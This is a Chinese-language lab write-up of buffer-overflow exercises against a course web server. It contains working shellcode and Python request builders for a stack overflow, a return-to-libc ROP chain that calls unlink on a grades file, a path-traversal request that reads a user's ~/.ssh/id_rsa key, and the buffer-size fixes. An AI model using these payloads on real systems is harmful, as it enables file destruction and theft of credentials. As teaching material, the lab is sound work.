strace 会打印该程序执行的所有系统调用。如果你的 shellcode 没有生效,可以查找你期望 shellcode 执行的系统调用(比如 unlink),并检查参数是否正确。

编写 shellcode.S,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.globl main
.type main, @function

main:
lea string(%rip), %rdi # %rdi = &string
mov $87, %rax # SYS_unlink = 87
syscall

mov $60, %rax # SYS_exit = 60
xor %rdi, %rdi
syscall

string:
.ascii "/home/student/grades.txt\0"

II. Construct a malicious HTTP request

构造一个恶意 HTTP 请求,我们采取溢出 value 的方式构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
stack_buffer = 0x7fffffffd9d0
stack_retaddr = 0x7fffffffdbe8

def build_exploit(shellcode: bytes) -> bytes:
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

# 然后我们想要填充到返回地址
shellcode += b"A" * ((stack_retaddr - stack_buffer) - len(shellcode))

# 然后我们写入 shellcode 的地址
shellcode += struct.pack("<Q", stack_buffer)

# URL 包装,确保不出现 0x00
shellcode = urllib.parse.quote_from_bytes(shellcode).encode('ascii')

req_value = b"GET / HTTP/1.0\r\n" + \
b"Cookie: " + shellcode + b"\r\n\r\n"

return req_value

整个 req_value 包含三个部分: shellcode + padding('A') + return addr

通过控制 padding 的长度,将 saved %rip 的内容精准的用 shellcode 的起始地址覆盖,使函数返回时从 shellcode 开始执行,进而删除文件 /home/student/grades.txt

溢出后的布局如下图所示:

0x04 Part 3: Return-to-libc attacks

Many modern operating systems mark the stack non-executable in an attempt to make it more difficult to exploit buffer overflows. In this part, you will explore how this protection mechanism can be circumvented.

I. Cleverly construct stack overflow

利用不可执行栈的缓冲区溢出的关键在于:即使你不能跳转到被溢出的缓冲区(因为它不可执行),但在 ret 指令跳转到你放在栈上的地址后,你依然可以控制程序计数器(PC)。通常,易受攻击服务器的地址空间中已经有足够的代码可以完成你想要的操作。

因此,要绕过不可执行栈,你首先需要找到你想执行的代码。这通常是标准库(libc)中的某个函数,比如 execve, system, unlink。然后,你需要安排栈和寄存器的状态,使其符合调用该函数时所需的参数。最后,你需要让 ret 指令跳转到你在第一步找到的函数地址。这种攻击通常被称为 return-to-libc 攻击。

return-to-libc 攻击的一个难点在于,你需要把参数传递给你想调用的 libc 函数。x86-64 的调用约定使这变得有挑战性,因为前6个参数是通过寄存器传递的。例如,第一个参数必须放在 %rdi 寄存器中(参见 man 2 syscall,里面有调用约定的说明)。所以,你需要一条指令把第一个参数加载到 %rdi。在练习 3 中,你可以把这条指令放在你的溢出缓冲区里。但在本部分实验中,栈被标记为不可执行,所以执行这条指令会导致服务器崩溃,而不会真正执行指令。

解决这个问题的方法是,在服务器中找到一段可以把地址加载到 %rdi 的代码。这种代码片段被称为“借用代码块”(borrowed code chunk),更通用的说法是 rop gadget(ROP 工具),因为它是面向返回编程(ROP)的工具。幸运的是,zookd.c 里恰好有一个有用的 gadget:见 accidentally 函数。

首先,我们重新回顾一下函数调用的流程(函数 A 调用函数 B):

  1. call: 将返回 PC 值压入栈中
  2. prologue: 将函数 A 栈 rbp 压入栈中,将当前 rsp 作为函数 B 栈 rbp
  3. running: 将局部参数压入栈中
  4. epilogue: 将函数 B 栈 rbp 作为 rsp,恢复函数 A 栈 rbp
  5. return: 恢复 PC

至此,我们巧妙构造栈溢出的思路就很清晰了:

也即,整个 req_value 包含五个部分: padding('A') + 0x7fffffffdbe8 + address of accidentally + address of unlink + address of txt_path

通过 gdb 调试,可以得到: address of accidentally = 0x555555556c35address of unlink = 0x1555553f80a0address of txt_path = 0x

构造 HTTP 非法请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def build_exploit(shellcode: bytes) -> bytes:
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

# file path
path = b"/home/student/grades.txt\x00\x00\x00\x00\x00\x00\x00\x00"

# 填充到特定位置
buffer = b"A" * (stack_retaddr - stack_buffer - 8 - len(path))

# 首先我们写入 path
buffer += path

# 然后我们写入 0x7fffffffdbe8
buffer += struct.pack("<Q", 0x7fffffffdbe8)

# 然后我们写入 accidentally 的地址
buffer += struct.pack("<Q", 0x555555556c35)

# 然后我们写入 unlink 的地址
buffer += struct.pack("<Q", 0x1555553f80a0)

# 然后我们写入 txt_path 的地址
buffer += struct.pack("<Q", 0x7fffffffdbd8)

# URL 包装,确保不出现 0x00
buffer = urllib.parse.quote_from_bytes(buffer).encode('ascii')

req_value = b"GET / HTTP/1.0\r\n" + \
b"Cookie: " + buffer + b"\r\n\r\n"

return req_value

需要注意的点

局部变量包含一个 char *r,该变量在栈上的赋值晚于 value/envvar,所以制造栈溢出时需要保证 r 对应的 8B 空间不能用于存放重要数据!

在 path 尾部填充 0x00,使得这部分区域被覆写也无所谓

II.

0x05 Part 4: Fixing buffer overflows and other bugs

Finally, you will fix the vulnerabilities that you have exploited in this lab assignment.

首先,让我们来发现一些之前没有利用到的漏洞。

第一个漏洞位于函数 process_client 中,reqpath 只分配了 4096 个字节,但是 http_request_line 最多可以读取 8192 个字节。故可能会出现漏洞,当请求路径过长时,reqpath 会溢出覆盖掉 char* errmsg,导致其访问未定义的内存发生错误。

简单的构造恶意 HTTP 请求代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
def build_exploit(shellcode: bytes) -> bytes:
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

payload = b"GET /" + b"A" * 8185 + b" HTTP/1.0\r\n"
payload += b"\r\n"

return payload

第二个漏洞是在 http_serve 中存在目录穿越的问题,由于没有对路径做过滤及判断,这可以让我们访问到服务器根目录外的文件。

例如如下非法 HTTP 请求可以获取到用户的 ssh 密钥:

1
2
3
4
5
6
7
8
9
10
11
12
def build_exploit(shellcode: bytes) -> bytes:
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

payload = b"GET /../.ssh/id_rsa" + b" HTTP/1.0\r\n"
payload += b"\r\n"

return payload

接下来就是修复发现的 bug,主要有两处:

1
2
3
4
5
6
7
8
9
10
11
12
13
const char *http_request_headers(int fd)
{
// ...
char value[8192];
char envvar[8192];
// ...
}
static void process_client(int fd)
{
// ...
char reqpath[8192];
// ...
}

使用 make check-fixed 命令进行检查,攻击全部失败代表成功。


至此,Lab1 全部完成。